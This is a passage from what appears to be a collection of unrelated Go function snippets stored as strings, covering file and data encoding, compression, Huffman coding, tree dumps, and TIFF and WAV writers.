1)\n\t\t\tif '1' == Hcharray[filebititer][partiter] {\n\t\t\t\ttmpint = (tmpint) ^ 1\n\t\t\t}\n\t\t\tif tmpint >= nodenum {\n\t\t\t\ttmpint = tmpint % nodenum\n\t\t\t}\n\n\t\t}\n\t\tfileposition = append(fileposition, tmpint)\n\t}\n\n\tfmt.Println(\"fileposition is \", fileposition)\n\tfileposition = RemoveRepeatedElement(fileposition)\n\tfmt.Println(\"fileposition is \", fileposition)\n\tvar fileretdata []byte\n\t//retdata, _ := ReadBlock(filename, readbitlen, 0*readbitlen)\n\t//fmt.Println(\"000000000000retdata is \", retdata)\n\tvar readiter int\n\tfor readiter = 0; readiter < len(fileposition); readiter++ {\n\t\t//fmt.Println(\"readiter is \", readiter)\n\t\t//fmt.Println(\"now fileposition is \", fileposition[readiter])\n\t\tretdata, _ := ReadBlock(filename, readbitlen, (fileposition[readiter])*readbitlen)\n\t\t//fmt.Println(\"retdata is \", retdata)\n\t\tfor _,nounceum := range retdata{\n\t\t\tfileretdata=append(fileretdata,nounceum)\n\t\t}\n\n\t}\n\tfmt.Println(\"fileretdata is \", fileretdata)\n\tfileretdata_hash := GetSHA256HashCode([]byte(fileretdata))\n\n\tvar filebyte_hash []byte\n\tfilebyte_hash, _ = hex.DecodeString(fileretdata_hash)\n\tfmt.Println(\"filebyte_hash is \", filebyte_hash)\n\treturn filebyte_hash\n\n}", "func (g *gzipWriter) Write(data []byte) (int, error) {\n\treturn g.writer.Write(data)\n}", "func (f lzwDecode) Encode(r io.Reader) (io.Reader, error) {\n\n\tlog.Trace.Println(\"EncodeLZW begin\")\n\n\tvar b bytes.Buffer\n\n\tec, ok := f.parms[\"EarlyChange\"]\n\tif !ok {\n\t\tec = 1\n\t}\n\n\twc := lzw.NewWriter(&b, ec == 1)\n\tdefer wc.Close()\n\n\twritten, err := io.Copy(wc, r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tlog.Trace.Printf(\"EncodeLZW end: %d bytes written\\n\", written)\n\n\treturn &b, nil\n}", "func (bpt *BplusTree) writeTree(printLayout bool) {\n\tdefer glog.Flush()\n\tnode, _ := bpt.fetch(bpt.rootKey)\n\tif node == nil {\n\t\tglog.Errorf(\"failed to fetch root key: %v\", bpt.rootKey)\n\t\treturn\n\t}\n\t// Print tree layout.\n\tif printLayout == true {\n\t\tbpt.writeLayout()\n\t}\n\n\t// Go to the left most leaf node and start printing in order.\n\tfor node != nil {\n\t\tif node.IsLeaf {\n\t\t\tbreak\n\t\t}\n\t\tnode, _ = bpt.fetch(node.Children[0].NodeKey)\n\t\tif node == nil {\n\t\t\tglog.Errorf(\"failed to fetch key: %v\", node.Children[0].NodeKey)\n\t\t\treturn\n\t\t}\n\t}\n\n\tif node == nil {\n\t\tglog.Infof(\"tree is empty\")\n\t\treturn\n\t}\n\n\tindex := 0\n\tfor {\n\t\tglog.Infof(\"leaf node: %d (DK: %v, NK: %v, XK: %v, PK: %v)\\n\",\n\t\t\tindex, node.DataKey, node.NodeKey, node.NextKey, node.PrevKey)\n\t\tfor _, child := range node.Children {\n\t\t\tglog.Infof(\"\\t%v\\n\", child)\n\t\t}\n\n\t\tif node.NextKey.IsNil() {\n\t\t\tbreak\n\t\t}\n\n\t\tif !node.NextKey.IsNil() {\n\t\t\tnextKey := node.NextKey\n\t\t\tnode, _ = bpt.fetch(nextKey)\n\t\t\tif node == nil {\n\t\t\t\tglog.Errorf(\"failed to fetch key: %v\", nextKey)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tindex++\n\t}\n}", "func main() {\r\n\ttest := \"abcdefghijklmnopqrstuvwxyz\"\r\n\r\n\tsymFreqs := make(map[rune]int)\r\n\t// read each symbol and record the frequencies\r\n\tfor _, c := range test {\r\n\t\tsymFreqs[c]++\r\n\t}\r\n\r\n\t// example tree\r\n\texampleTree := buildTree(symFreqs)\r\n\r\n\t// print out results\r\n\tfmt.Println(\"SYMBOL\\tWEIGHT\\tHUFFMAN CODE\")\r\n\tprintCodes(exampleTree, []byte{})\r\n}", "func (bpt *BplusTree) writeLayout() {\n\tleafIdx := 0\n\tnodeIdx := 0\n\tlevelIdx := 0\n\n\tif !bpt.initialized || bpt.rootKey.IsNil() {\n\t\treturn\n\t}\n\n\trootNode, _ := bpt.fetch(bpt.rootKey)\n\tif rootNode == nil {\n\t\tglog.Errorf(\"failed to fetch root key: %v. can not print the tree.\",\n\t\t\tbpt.rootKey)\n\t\treturn\n\t}\n\tglog.Infof(\"dumping the tree layout.. numChildren: %d\\n\",\n\t\tlen(rootNode.Children))\n\tnodeList := rootNode.Children\n\tnodeLensList := make([]int, 1)\n\tnodeLensList[0] = len(rootNode.Children)\n\tnumElems := nodeLensList[0]\n\tnumNodesAtLevel := 0\n\tprintLevel := true\n\tglog.Infof(\"level -- 0 <root: %v>\\n\", rootNode)\n\tif rootNode.IsLeaf {\n\t\treturn\n\t}\n\tfor i := 0; i < numElems; i++ {\n\t\tif printLevel {\n\t\t\tglog.Infof(\"level -- %d \", levelIdx+1)\n\t\t\tprintLevel = false\n\t\t}\n\t\tnode, _ := bpt.fetch(nodeList[i].NodeKey)\n\t\tif node == nil {\n\t\t\tglog.Errorf(\"failed to fetch root key: %v\", nodeList[i].NodeKey)\n\t\t\treturn\n\t\t}\n\n\t\tif node.IsLeaf {\n\t\t\tglog.Infof(\"level:%d <tree-L-node :%d, node: %v> \", levelIdx+1, leafIdx, node)\n\t\t\tleafIdx++\n\t\t} else {\n\t\t\tglog.Infof(\"level:%d <tree-I-node :%d, node: %v> \", levelIdx+1, nodeIdx, node)\n\t\t\tnodeList = append(nodeList, node.Children...)\n\t\t\tnumElems += len(node.Children)\n\t\t\tnumNodesAtLevel += len(node.Children)\n\t\t}\n\t\tnodeIdx++\n\t\tif nodeIdx >= nodeLensList[levelIdx] {\n\t\t\tnodeLensList = append(nodeLensList, numNodesAtLevel)\n\t\t\tlevelIdx++\n\t\t\tnodeIdx = 0\n\t\t\tnumNodesAtLevel = 0\n\t\t\tglog.Infof(\"\\n\")\n\t\t\tprintLevel = true\n\t\t}\n\t}\n\tglog.Infof(\"done.. dumping the layout\\n\")\n\tglog.Infof(\"----------------------------\\n\")\n}", "func encode(in string, out string, width int, height int) {\n\n\tbinary, err := ioutil.ReadFile(in)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tencoder := encoder.NewEncoder(binary, width, height)\n\tencoder.Encode()\n\n\tif err = encoder.Out(out); err != nil {\n\t\tpanic(err)\n\t}\n}", "func writer() {\n\n\tdefer WaitGroup.Done()\n\n\tvar opuslen int16\n\tvar err error\n\n\t// 16KB output buffer\n\tstdout := bufio.NewWriterSize(os.Stdout, 16384)\n\tdefer func() {\n\t\terr := stdout.Flush()\n\t\tif err != nil {\n\t\t\tlog.Println(\"error flushing stdout, \", err)\n\t\t}\n\t}()\n\n\tfor {\n\t\topus, ok := <-OutputChan\n\t\tif !ok {\n\t\t\t// if chan closed, exit\n\t\t\treturn\n\t\t}\n\n\t\t// write header\n\t\topuslen = int16(len(opus))\n\t\terr = binary.Write(stdout, binary.LittleEndian, &opuslen)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"error writing output: \", err)\n\t\t\treturn\n\t\t}\n\n\t\t// write opus data to stdout\n\t\terr = binary.Write(stdout, binary.LittleEndian, &opus)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"error writing output: \", err)\n\t\t\treturn\n\t\t}\n\t}\n}", "func WriteTiff8(w io.WriteSeeker, byteOrder binary.ByteOrder, data []uint8, width uint32, length uint32) error {\n\t// steps:\n\t// 1) write all image data starting at offset 8, seek to next word boundry and save offset\n\t// 2) write 1 ifd of 11 directory entries\n\t// 3) write all 11 directory entries, 1 for each required tag\n\t// 4) point stripOffset to 8\n\t// 5) write 4 bytes of 0 to indicate last ifd\n\t// 6) write header at offset 0 with ifdOffset from saved after image data\n\n\t// 1)\n\tif _, err := w.Seek(8, 0); err != nil {\n\t\treturn err\n\t}\n\tif err := binary.Write(w, byteOrder, data); err != nil {\n\t\treturn err\n\t}\n\tafterData, _ := w.Seek(0, io.SeekCurrent)\n\t// seek to next work boundry\n\tafterData = afterData/8*8 + 8\n\tw.Seek(afterData, 0)\n\n\t// 2)\n\tif err := binary.Write(w, byteOrder, uint16(11)); err != nil {\n\t\treturn err\n\t}\n\t// 3-4)\n\t// ImageWidth\n\tif err := binary.Write(w, byteOrder, newDir32(256, width)); err != nil {\n\t\treturn err\n\t}\n\t// ImageLength\n\tif err := binary.Write(w, byteOrder, newDir32(257, length)); err != nil {\n\t\treturn err\n\t}\n\t// BitsPerSample\n\tif err := binary.Write(w, byteOrder, newDir16(258, 8)); err != nil {\n\t\treturn err\n\t}\n\t// Compression\n\tif err := binary.Write(w, byteOrder, newDir16(259, 1)); err != nil {\n\t\treturn err\n\t}\n\t// PhotometricInterpretation\n\tif err := binary.Write(w, byteOrder, newDir16(262, 1)); err != nil {\n\t\treturn err\n\t}\n\t// StripOffsets\n\tif err := binary.Write(w, byteOrder, newDir32(273, 8)); err != nil {\n\t\treturn err\n\t}\n\t// RowsPerStrip\n\tif err := binary.Write(w, byteOrder, newDir32(278, length)); err != nil {\n\t\treturn err\n\t}\n\t// StripByteCounts\n\tif err := binary.Write(w, byteOrder, newDir32(279, width*length)); err != nil {\n\t\treturn err\n\t}\n\t// XResolution\n\tif err := binary.Write(w, byteOrder, newDir32(282, 0)); err != nil {\n\t\treturn err\n\t}\n\t// YResolution\n\tif err := binary.Write(w, byteOrder, newDir32(283, 0)); err != nil {\n\t\treturn err\n\t}\n\t// ResolutionUnit\n\tif err := binary.Write(w, byteOrder, newDir16(296, 0)); err != nil {\n\t\treturn err\n\t}\n\n\t// 5)\n\tif err := binary.Write(w, byteOrder, []byte{0, 0, 0, 0}); err != nil {\n\t\treturn err\n\t}\n\n\t// 6)\n\tvar bo uint16 = 0X4949 // default to little endian\n\tif byteOrder == binary.BigEndian {\n\t\tbo = 0X4D4D // big endian code\n\t}\n\t// create header\n\th := header{bo, 42, uint32(afterData)}\n\tif _, err := w.Seek(0, 0); err != nil {\n\t\treturn err\n\t}\n\tif err := binary.Write(w, byteOrder, h); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (tree *GameTree) WriteFile(fileName string, nMovPerLine int) (err error) {\n\tdefer u(tr(\"WriteFile\"))\n\t// old parms to Open(fileName, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, filePERM)\n\tf, err := os.Create(fileName)\n\tif err != nil {\n\t\treturn errors.New(\"OpenFile:\" + fileName + \" \" + err.Error())\n\t}\n\tdefer f.Close() // TODO: should this be conditional on not being closed?\n\tw := bufio.NewWriter(f)\n\tif w == nil {\n\t\treturn errors.New(\"nil from NewWriter:\" + fileName + \" \" + err.Error())\n\t}\n\terr = tree.writeParseTree(w, nMovPerLine)\n\tif err != nil {\n\t\treturn errors.New(\"Error:\" + fileName + \" \" + err.Error())\n\t}\n\terr = w.Flush()\n\terr = f.Close()\n\treturn err\n}", "func (node *Node) Pack() []byte {\n\tbfr := new(bytes.Buffer)\n\t// Write CATID\n\tbinary.Write(bfr, BIGEND, LBTYPE_CATID)\n\tbinary.Write(bfr, BIGEND, node.Id())\n\t// Write Catalog string key\n\tbinary.Write(bfr, BIGEND, LBTYPE_CATKEY)\n\tksz := AsLBUINT(len(node.Name()))\n\tbinary.Write(bfr, BIGEND, ksz)\n\tbfr.Write([]byte(node.Name()))\n\t// Write field map\n\tif node.HasFields() > 0 {\n\t\tbinary.Write(bfr, BIGEND, LBTYPE_MAP)\n\t\tbyts := node.FieldMap.ToBytes(node.debug)\n\t\tbinary.Write(bfr, BIGEND, AsLBUINT(len(byts)))\n\t\tbfr.Write(byts)\n\t} else {\n\t\tbinary.Write(bfr, BIGEND, LBTYPE_NIL)\n\t}\n\t// Write parents CATID set\n\tif node.HasParents() > 0 {\n\t\tbinary.Write(bfr, BIGEND, LBTYPE_CATID_SET)\n\t\tbyts := node.parents.ToBytes(node.debug)\n\t\tbinary.Write(bfr, BIGEND, AsLBUINT(len(byts)))\n\t\tbfr.Write(byts)\n\t} else {\n\t\tbinary.Write(bfr, BIGEND, LBTYPE_NIL)\n\t}\n\treturn bfr.Bytes()\n}", "func (enc *Encoder) ensureHeaderWritten() error {\n\t// Ensure we only write the header once.\n\tif enc.written {\n\t\treturn nil\n\t}\n\tenc.written = true\n\n\t// Validate package name.\n\tpkg := strings.TrimSpace(enc.Package)\n\tif pkg == \"\" {\n\t\treturn ErrPackageNameRequired\n\t}\n\n\tvar buf bytes.Buffer\n\tfmt.Fprintln(&buf, \"// Code generated by genesis.\")\n\tfmt.Fprintln(&buf, \"// DO NOT EDIT.\")\n\tfmt.Fprintln(&buf, \"\")\n\n\t// Write build tags.\n\tfor _, tag := range enc.Tags {\n\t\ttag = strings.TrimSpace(tag)\n\t\tif tag == \"\" {\n\t\t\tcontinue\n\t\t}\n\t\tfmt.Fprintf(&buf, \"// +build %s\\n\\n\", tag)\n\t\tfmt.Fprintln(&buf, \"\")\n\t}\n\n\tfmt.Fprintf(&buf, \"package %s\", pkg)\n\tfmt.Fprintln(&buf, \"\")\n\n\t// Write imports.\n\tfmt.Fprintln(&buf, \"\")\n\tfmt.Fprintln(&buf, `import (`)\n\tfmt.Fprintln(&buf, `\t\"bytes\"`)\n\tfmt.Fprintln(&buf, `\t\"net/http\"`)\n\tfmt.Fprintln(&buf, `\t\"os\"`)\n\tfmt.Fprintln(&buf, `\t\"path\"`)\n\tfmt.Fprintln(&buf, `\t\"regexp\"`)\n\tfmt.Fprintln(&buf, `\t\"strings\"`)\n\tfmt.Fprintln(&buf, `\t\"time\"`)\n\tfmt.Fprintln(&buf, `)`)\n\tfmt.Fprintln(&buf, \"\")\n\n\t// Start asset map variable.\n\tif _, err := fmt.Fprintln(&buf, `var assetMap = map[string]*File{`); err != nil {\n\t\treturn err\n\t}\n\n\t_, err := buf.WriteTo(enc.w)\n\treturn err\n}", "func encode(fs http.FileSystem) (string, error) {\n\t// storage is an object that contains all filesystem information.\n\tstorage := newFSStorage()\n\n\t// Walk the provided filesystem, and add all its content to storage.\n\twalker := fsutil.Walk(fs, \"\")\n\tfor walker.Step() {\n\t\tpath := walker.Path()\n\t\tif path == \"\" {\n\t\t\tcontinue\n\t\t}\n\t\tif walker.Stat().IsDir() {\n\t\t\tstorage.Dirs[path] = true\n\t\t} else {\n\t\t\tb, err := readFile(fs, path)\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t\tstorage.Files[path] = b\n\t\t}\n\t\tlog.Printf(\"Encoded path: %s\", path)\n\t}\n\tif err := walker.Err(); err != nil {\n\t\treturn \"\", errors.Wrap(err, \"walking filesystem\")\n\t}\n\n\t// Encode the storage object into a string.\n\t// storage object -> GOB -> gzip -> base64.\n\tvar buf bytes.Buffer\n\tw := gzip.NewWriter(&buf)\n\terr := gob.NewEncoder(w).Encode(storage)\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"encoding gob\")\n\t}\n\terr = w.Close()\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"close gzip\")\n\t}\n\ts := base64.StdEncoding.EncodeToString(buf.Bytes())\n\tlog.Printf(\"Encoded size: %d\", len(s))\n\treturn s, err\n}", "func (w *Writer) Close() error {\n\tw.closed = true\n\t// Note: new levels can be created while closing, so the number of iterations\n\t// necessary can increase as the levels are being closed. The number of ranges\n\t// will decrease per level as long as the range size is in general larger than\n\t// a serialized header. Levels stop getting created when the top level chunk\n\t// writer has been closed and the number of ranges it has is one.\n\tfor i := 0; i < len(w.levels); i++ {\n\t\tl := w.levels[i]\n\t\tif err := l.tw.Flush(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := l.cw.Close(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// (bryce) this method of terminating the index can create garbage (level\n\t\t// above the final level).\n\t\tif l.cw.AnnotationCount() == 1 && l.cw.ChunkCount() == 1 {\n\t\t\tbreak\n\t\t}\n\t}\n\t// Write the final index level to the path.\n\tobjW, err := w.objC.Writer(w.ctx, w.path)\n\tif err != nil {\n\t\treturn err\n\t}\n\ttw := tar.NewWriter(objW)\n\tif err := w.serialize(tw, w.root); err != nil {\n\t\treturn err\n\t}\n\tif err := tw.Close(); err != nil {\n\t\treturn err\n\t}\n\treturn objW.Close()\n}", "func (s *SymbolDictionary) IsHuffmanEncoded() bool {\n\treturn s.isHuffmanEncoded\n}", "func (c *CompressedWriter) WriteHeader(data []byte) error {\n\n\tpadding := []byte(\"\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\")\n\tif len(data)+len(padding) > c.HeaderSpace {\n\t\tpanic(\"OOPS\")\n\t}\n\n\tf := c.Writer\n\t_, err := f.Seek(0, 0)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = f.Write(data)\n\tif err != nil {\n\t\treturn err\n\t}\n\tf.Write(padding)\n\n\tf.Seek(0, 2)\n\n\treturn nil\n\n}", "func (eln *EmptyLeafNode) Serialize(w io.Writer) {\n\tw.Write([]byte{byte(NodeTypeEmptyLeaf)})\n}", "func Compress(inPath string, tmpDir string) (string, error) {\n\t// create a temporary file with a unique name compress it -- multiple files\n\t// are named 000: pg_notify/0000, pg_subtrans/0000\n\toutFile, err := ioutil.TempFile(tmpDir, \"pgCarpenter.\")\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// open input file\n\tinFile, err := os.Open(inPath)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\t// we open this for read only, and this process exists after a finite (short)\n\t// period of time; there's no need to throw an error if closing it fails\n\tdefer inFile.Close()\n\n\t// buffer read from the input file and lz4 writer\n\tr := bufio.NewReader(inFile)\n\tw := lz4.NewWriter(outFile)\n\n\t// read 4k at a time\n\tbuf := make([]byte, 4096)\n\tfor {\n\t\tn, err := r.Read(buf)\n\t\tif err != nil && err != io.EOF {\n\t\t\treturn \"\", err\n\t\t}\n\n\t\t// we're done\n\t\tif n == 0 {\n\t\t\tbreak\n\t\t}\n\n\t\t// write the 4k chunk\n\t\tif _, err := w.Write(buf[:n]); err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\n\t// flush any pending compressed data\n\tif err = w.Flush(); err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// make sure we successfully close the compressed file\n\tif err := outFile.Close(); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn outFile.Name(), nil\n}", "func (tarSzFormat) Write(output io.Writer, filePaths []string) error {\n\treturn writeTarSz(filePaths, output, \"\")\n}", "func compressHuffmanCodes(codes *vector.Vector) (compressedCodes *vector.Vector, lastByteInBits int) {\n\tcurrentCode := vector.New(0, 8)\n\tencodedCode := byte(0)\n\ttotalBits := 0\n\n\tcompressedCodes = vector.New()\n\n\tfor i := 0; i < codes.Size(); i++ {\n\t\tcurrentCode.Append(codes.MustGet(i))\n\n\t\tif currentCode.Size() != 8 && i != codes.Size()-1 {\n\t\t\tcontinue\n\t\t}\n\n\t\tfor j := 0; j < currentCode.Size(); j++ {\n\t\t\ttotalBits++\n\n\t\t\tencodedCode <<= 1\n\n\t\t\tif currentCode.MustGet(j) != byte(0) {\n\t\t\t\tencodedCode |= 1\n\t\t\t}\n\t\t}\n\n\t\tcompressedCodes.Append(encodedCode)\n\t\tcurrentCode = vector.New(0, 8)\n\t\tencodedCode = byte(0)\n\t}\n\n\tlastByteInBits = totalBits % 8\n\n\tif lastByteInBits == 0 {\n\t\tlastByteInBits = 8\n\t}\n\n\treturn compressedCodes, lastByteInBits\n}", "func (t *BinaryTree) Size() int { return t.count }", "func Encode(w io.Writer, audio *WaveAudio) error {\n\t// Write RIFF header\n\t_, err := w.Write(RiffHeader)\n\tif err != nil {\n\t\treturn err\n\t}\n\triffSize := 4 + 8 + 16 + 8 + audio.DataSize()\n\terr = binary.Write(w, binary.LittleEndian, uint32(riffSize))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Write file type\n\t_, err = w.Write(WaveHeader)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Write format\n\t_, err = w.Write(FmtHeader)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Write format length\n\terr = binary.Write(w, binary.LittleEndian, uint32(16))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = binary.Write(w, binary.LittleEndian, audio.Format)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = binary.Write(w, binary.LittleEndian, audio.Channels)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = binary.Write(w, binary.LittleEndian, audio.SampleRate)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = binary.Write(w, binary.LittleEndian, audio.SampleFreq())\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = binary.Write(w, binary.LittleEndian, audio.Sound())\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = binary.Write(w, binary.LittleEndian, audio.BitsPerSample)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Write data\n\t_, err = w.Write(DataHeader)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = binary.Write(w, binary.LittleEndian, audio.DataSize())\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Write raw data directly\n\t_, err = w.Write(audio.RawData)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func decodeTree(r *bitio.Reader, nTree byte) (root *Node, err error) {\n\tvar head Node\n\tvar nodes byte\n\tvar leaves byte\n\tvar u uint64\n\n\tfor nodes < nTree {\n\t\tu, err = r.ReadBits(1)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif u == 1 {\n\t\t\tleaves++\n\t\t\tsymbol, err := r.ReadBits(8)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tnode := &Node{value: byte(symbol)}\n\t\t\thead.pushBack(node)\n\t\t}\n\n\t\tif u == 0 {\n\t\t\tnodes++\n\t\t\tif nodes == nTree {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tr := head.popLast()\n\t\t\tl := head.popLast()\n\t\t\tnode := join(l, r)\n\t\t\thead.pushBack(node)\n\t\t}\n\t}\n\n\tif nodes != leaves {\n\t\terr = errors.New(\"nodes != leaves\")\n\t}\n\n\treturn head.next, err\n}", "func writeHeaderSize(headerLength int) []byte {\n\ttotalHeaderLen := make([]byte, 4)\n\ttotalLen := uint32(headerLength)\n\tbinary.BigEndian.PutUint32(totalHeaderLen, totalLen)\n\treturn totalHeaderLen\n}", "func Save(path string, v interface{}, opts Options) (err error) {\n\tvar (\n\t\tzw *lz4.Writer\n\t\tencoder *jsoniter.Encoder\n\t\th hash.Hash\n\t\tmw io.Writer\n\t\tprefix [prefLen]byte\n\t\toff, l int\n\t\tfile *os.File\n\t\ttmp = path + \".tmp.\" + cmn.GenTie()\n\t)\n\tif file, err = cmn.CreateFile(tmp); err != nil {\n\t\treturn\n\t}\n\tdefer func() {\n\t\t_ = file.Close()\n\t\tif err != nil {\n\t\t\tos.Remove(tmp)\n\t\t}\n\t}()\n\tif opts.Signature {\n\t\toff = prefLen\n\t}\n\tif opts.Checksum {\n\t\th = xxhash.New64()\n\t\toff += h.Size()\n\t}\n\tif off > 0 {\n\t\tif _, err = file.Seek(int64(off), io.SeekStart); err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\tif opts.Compression {\n\t\tif opts.Checksum {\n\t\t\tmw = io.MultiWriter(h, file)\n\t\t\tzw = lz4.NewWriter(mw)\n\t\t} else {\n\t\t\tzw = lz4.NewWriter(file)\n\t\t}\n\t\tencoder = jsoniter.NewEncoder(zw)\n\t} else {\n\t\tif opts.Checksum {\n\t\t\tmw = io.MultiWriter(h, file)\n\t\t\tencoder = jsoniter.NewEncoder(mw)\n\t\t} else {\n\t\t\tencoder = jsoniter.NewEncoder(file)\n\t\t}\n\t}\n\tencoder.SetIndent(\"\", \" \")\n\tif err = encoder.Encode(v); err != nil {\n\t\treturn\n\t}\n\tif opts.Compression {\n\t\t_ = zw.Close()\n\t}\n\tif opts.Signature {\n\t\tif _, err = file.Seek(0, io.SeekStart); err != nil {\n\t\t\treturn\n\t\t}\n\t\t// 1st 64-bit word\n\t\tcopy(prefix[:], signature)\n\t\tl = len(signature)\n\t\tcmn.Assert(l < prefLen/2)\n\t\tprefix[l] = version\n\n\t\t// 2nd 64-bit word as of version == 1\n\t\tvar packingInfo uint64\n\t\tif opts.Compression {\n\t\t\tpackingInfo |= 1 << 0\n\t\t}\n\t\tif opts.Checksum {\n\t\t\tpackingInfo |= 1 << 1\n\t\t}\n\t\tbinary.BigEndian.PutUint64(prefix[cmn.SizeofI64:], packingInfo)\n\n\t\t// write prefix\n\t\tfile.Write(prefix[:])\n\t}\n\tif opts.Checksum {\n\t\tif !opts.Signature {\n\t\t\tif _, err = file.Seek(0, io.SeekStart); err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\tfile.Write(h.Sum(nil))\n\t}\n\tif err = file.Close(); err != nil {\n\t\treturn\n\t}\n\terr = os.Rename(tmp, path)\n\treturn\n}", "func (builder *HLLDataWriter) SerializeHeader() error {\n\twriter := utils.NewBufferWriter(builder.buffer)\n\n\t// num_enum_columns\n\tif err := writer.AppendUint8(uint8(len(builder.EnumDicts))); err != nil {\n\t\treturn err\n\t}\n\n\t// bytes per dim\n\tif err := writer.Append([]byte(builder.NumDimsPerDimWidth[:])); err != nil {\n\t\treturn err\n\t}\n\twriter.AlignBytes(8)\n\n\t// result_size\n\tif err := writer.AppendUint32(builder.ResultSize); err != nil {\n\t\treturn err\n\t}\n\n\t// raw_dim_values_vector_length\n\tif err := writer.AppendUint32(builder.PaddedRawDimValuesVectorLength); err != nil {\n\t\treturn err\n\t}\n\n\t// dim_indexes\n\tfor _, dimIndex := range builder.DimIndexes {\n\t\tif err := writer.AppendUint8(uint8(dimIndex)); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\twriter.AlignBytes(8)\n\n\t// data_types\n\tfor _, dataType := range builder.DataTypes {\n\t\tif err := writer.AppendUint32(uint32(dataType)); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\twriter.AlignBytes(8)\n\n\t// Write enum cases.\n\tfor columnID, enumCases := range builder.EnumDicts {\n\t\tenumCasesBytes := queryCom.CalculateEnumCasesBytes(enumCases)\n\t\tif err := writer.AppendUint32(enumCasesBytes); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif err := writer.AppendUint16(uint16(columnID)); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// padding\n\t\twriter.SkipBytes(2)\n\n\t\tvar enumCaseBytesWritten uint32\n\t\tfor _, enumCase := range enumCases {\n\t\t\tif err := writer.Append([]byte(enumCase)); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tif err := writer.Append([]byte(queryCom.EnumDelimiter)); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tenumCaseBytesWritten += uint32(len(enumCase)) + 2\n\t\t}\n\n\t\twriter.SkipBytes(int(enumCasesBytes - enumCaseBytesWritten))\n\t}\n\treturn nil\n}", "func (w gzipResponseWriter) Write(b []byte) (int, error) {\n\tif \"\" == w.Header().Get(\"Content-Type\") {\n\t\t// If no content type, apply sniffing algorithm to un-gzipped body.\n\t\tw.Header().Set(\"Content-Type\", http.DetectContentType(b))\n\t}\n\treturn w.Writer.Write(b)\n}", "func DecodeHeader(r *bitio.Reader) (nEncoded uint32, root *Node, err error) {\n\tvar buf uint64\n\tbuf, err = r.ReadBits(32)\n\tnEncoded = uint32(buf)\n\tif err != nil {\n\t\treturn 0, nil, err\n\t}\n\n\tbuf, err = r.ReadBits(8)\n\tnTree := byte(buf)\n\tif err != nil {\n\t\treturn 0, nil, err\n\t}\n\n\troot, err = decodeTree(r, nTree)\n\tif err != nil {\n\t\treturn 0, nil, err\n\t}\n\n\treturn nEncoded, root, nil\n}", "func (p *iexporter) encodeFile(w *intWriter, file *token.File, needed []uint64) {\n\t_ = needed[0] // precondition: needed is non-empty\n\n\tw.uint64(p.stringOff(file.Name()))\n\n\tsize := uint64(file.Size())\n\tw.uint64(size)\n\n\t// Sort the set of needed offsets. Duplicates are harmless.\n\tsort.Slice(needed, func(i, j int) bool { return needed[i] < needed[j] })\n\n\tlines := tokeninternal.GetLines(file) // byte offset of each line start\n\tw.uint64(uint64(len(lines)))\n\n\t// Rather than record the entire array of line start offsets,\n\t// we save only a sparse list of (index, offset) pairs for\n\t// the start of each line that contains a needed position.\n\tvar sparse [][2]int // (index, offset) pairs\nouter:\n\tfor i, lineStart := range lines {\n\t\tlineEnd := size\n\t\tif i < len(lines)-1 {\n\t\t\tlineEnd = uint64(lines[i+1])\n\t\t}\n\t\t// Does this line contains a needed offset?\n\t\tif needed[0] < lineEnd {\n\t\t\tsparse = append(sparse, [2]int{i, lineStart})\n\t\t\tfor needed[0] < lineEnd {\n\t\t\t\tneeded = needed[1:]\n\t\t\t\tif len(needed) == 0 {\n\t\t\t\t\tbreak outer\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Delta-encode the columns.\n\tw.uint64(uint64(len(sparse)))\n\tvar prev [2]int\n\tfor _, pair := range sparse {\n\t\tw.uint64(uint64(pair[0] - prev[0]))\n\t\tw.uint64(uint64(pair[1] - prev[1]))\n\t\tprev = pair\n\t}\n}", "func WriteTiff16(w io.WriteSeeker, byteOrder binary.ByteOrder, data []uint16, width uint32, length uint32) error {\n\t// steps:\n\t// 1) write all image data starting at offset 8, seek to next word boundry and save offset\n\t// 2) write 1 ifd of 11 directory entries\n\t// 3) write all 11 directory entries, 1 for each required tag\n\t// 